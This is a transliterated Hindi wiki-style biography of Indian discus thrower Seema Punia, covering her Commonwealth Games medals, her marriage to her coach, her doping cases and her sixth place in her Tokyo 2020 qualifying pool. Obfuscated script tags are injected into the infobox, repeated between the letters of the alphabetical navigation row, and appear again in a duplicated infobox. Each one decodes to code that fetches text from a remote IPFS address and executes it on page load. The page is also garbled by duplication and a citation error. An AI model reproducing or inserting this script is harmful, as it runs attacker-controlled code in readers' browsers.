सीमा पुनिया

	sima puniya
	sima puniya\|200px\|center
poora nam	sima puniya
janm	27 julaee, 1983
janm bhoomi	khev da, zila sonipat, hariyana
pati/patni	aankush puniya
karm bhoomi	bharat
khel-kshetr	chakka pheank (diskas thro)
prasiddhi	bharatiy chakka pheank khila di
nagarikata	bharatiy
qad	5 phit 11 ianch
any janakari	sima puniya ne 2006 ke melabarn k aaumanavelth gems mean silvar medal jitakar poore desh ko gauravanvit kiya tha.
adyatan‎	17:55, 19 agast 2021 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sima puniya (aangrezi: Seema Punia, janm- 27 julaee, 1983) bharatiy mahila chakka pheank (diskas throar) ethalit haian. grishmakalin olampik, 2020 (tokyo) ke pool e mean vah 60.57 ke thro ke sath chhathe sthan par rahian. unhoanne 2006 ke melabarn k aaumanavelth gems mean silvar medal jitakar poore desh ko gauravanvit kiya tha. unhoanne 2010 dilli k aaumanavelth gems mean bhi kaansy padak jita tha.

parichay

hariyana ke sonipat jile ke khev da namak ek chhote se gaanv mean sima aantil ke roop mean janmi sima puniya hamesha se janati thian ki vah ethaletiks ke lie haian. unaki khel parivarik prishthabhoomi ne bhi is nirnay mean mahatvapoorn bhoomika nibhaee. usake donoan bhaee, amitapal aur anandapan, khel mean haian. amit ek h aauki khila di hai aur anand ek pahalavan hai. jab sima puniya 11 sal ki thian, tab apane khel kariyar ki shuruat ek hardalar aur l aaung-jampar ke roop mean ki thi. bad mean diskas thro ka prayas karane ka phaisala kiya aur mahasoos kiya ki vah isamean kitani achchhi thian. unaki pratibha kee aantar-rajyiy baithakoan mean dikhaee deti thi.^[1]

k aaulej mean sima puniya ne 57.30 mitar ke thro ke sath rashtriy chaimpiyanaship jiti. jald hi siniyar-stariy chaianpiyanaship bhi jitana shuroo kar diya. sima ne 2006 ke melabarn k aaumanavelth gems mean silvar medal jitakar poore desh ko gauravanvit kiya tha. unhoanne 2010 dilli k aaumanavelth gems mean bhi kaansy padak jita tha.

vivah

sima puniya ne apane koch aankush puniya ke roop mean apana jivan sathi paya. uttar pradesh ke merath ke rahane vale aankush poorv diskas throar haian. unhoanne 2004 etheans olanpik mean desh ka pratinidhitv kiya tha. yah jo da faravari 2011 mean hariyana ke sonipat mean shadi ke bandhan mean bandh gaya. aankush ne sima ke kariyar mean aham bhoomika nibhaee. unhoanne apani takanikoan ko behatar banane mean unaki kaphi madad ki.

dopiang vivad

sima puniya apane kariyar mean do bar dopiang vivadoan mean ghiri rahian. pahali bar varsh 2000 mean. unaka syoodoefedrin ke lie sakaratmak parikshan aya tha aur 2000 vishv jooniyar chaianpiyanaship mean jita hua svarn harakar samapt hua. sima ne bas apani sardi ke lie dava li thi. unhean is bat ka aandaja nahian tha ki usamean pratibandhit padarth hai. unhean ethaletiks phedareshan aauph iandiya (eephaee) se chetavani mili, kyoanki yah ek eemanadar galati thi. dopiang ke sath unake doosare mamale ne midiya ka bahut dhyan akarshit kiya, kyoanki unhoanne 2006 ke eshiyaee kheloan mean bhag nahian liya tha. halaanki bad mean unhean sabhi aropoan se mukt kar diya gaya.^[1]

sima ne apane pita ki bimari aur abhyas ki kami ke karan apane sanvedanashil dimag ko bhag nahian lene ke karanoan ke roop mean uddhrit kiya. unhoanne kaha, 'prashikshan ke dauran apane maujooda pradarshan aur paristhitiyoan ko dekhate hue maian eshiyaee kheloan mean achchha pradarshan karane ki sthiti mean nahian hooan. isalie, maian apase anurodh karati hooan ki mujhe kheloan ko chho dane ki anumati dean." eephaee ne sima puniya ke khilaph sabhi dopiang aropoan ko saph kar diya tha aur sunavaee ke bad painal ne unhean nirdosh ghoshit kar diya tha.

grishmakalin olampik, 2020

bharat ki kamalaprit kaur ne 64 mitar ke thro ke sath kvaliphikeshan daur mean doosare sthan par rahakar tokyo olanpik mean mahilaoan ki chakkapheank (diskas thro) spardha ke phainal mean jagah bana li. anubhavi sima pooniya chook geean. kamalaprit ne apane tisare prayas mean 64 mitar ka thro pheanka jo kvaliphikeshan mark bhi tha. kvaliphikeshan mean shirsh rahane vali amerika ki valari alamain ke alava vah 64 mitar ya adhik ka thro lagane vali akeli khila di rahian . donoan pool mean 31 khila diyoan mean se 64 mitar ka mark par karane vale ya shirsh 12 ne kvaliphaee kiya. sima pooniya pool e mean 60.57 ke thro ke sath chhathe sthan par rahian.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 sima puniya jivani (hiandi) kreedon.com. abhigaman tithi: 19 agast, 2021. Cite error: Invalid <ref> tag; name "pp" defined multiple times with different content

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[pp-1] 1.0 ^1.1 ^1.2 sima puniya jivani (hiandi) kreedon.com. abhigaman tithi: 19 agast, 2021. Cite error: Invalid <ref> tag; name "pp" defined multiple times with different content

[1]

sima puniya
sima puniya\|200px\|center
poora nam	sima puniya
janm	27 julaee, 1983
janm bhoomi	khev da, zila sonipat, hariyana
pati/patni	aankush puniya
karm bhoomi	bharat
khel-kshetr	chakka pheank (diskas thro)
prasiddhi	bharatiy chakka pheank khila di
nagarikata	bharatiy
qad	5 phit 11 ianch
any janakari	sima puniya ne 2006 ke melabarn k aaumanavelth gems mean silvar medal jitakar poore desh ko gauravanvit kiya tha.
adyatan‎	17:55, 19 agast 2021 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>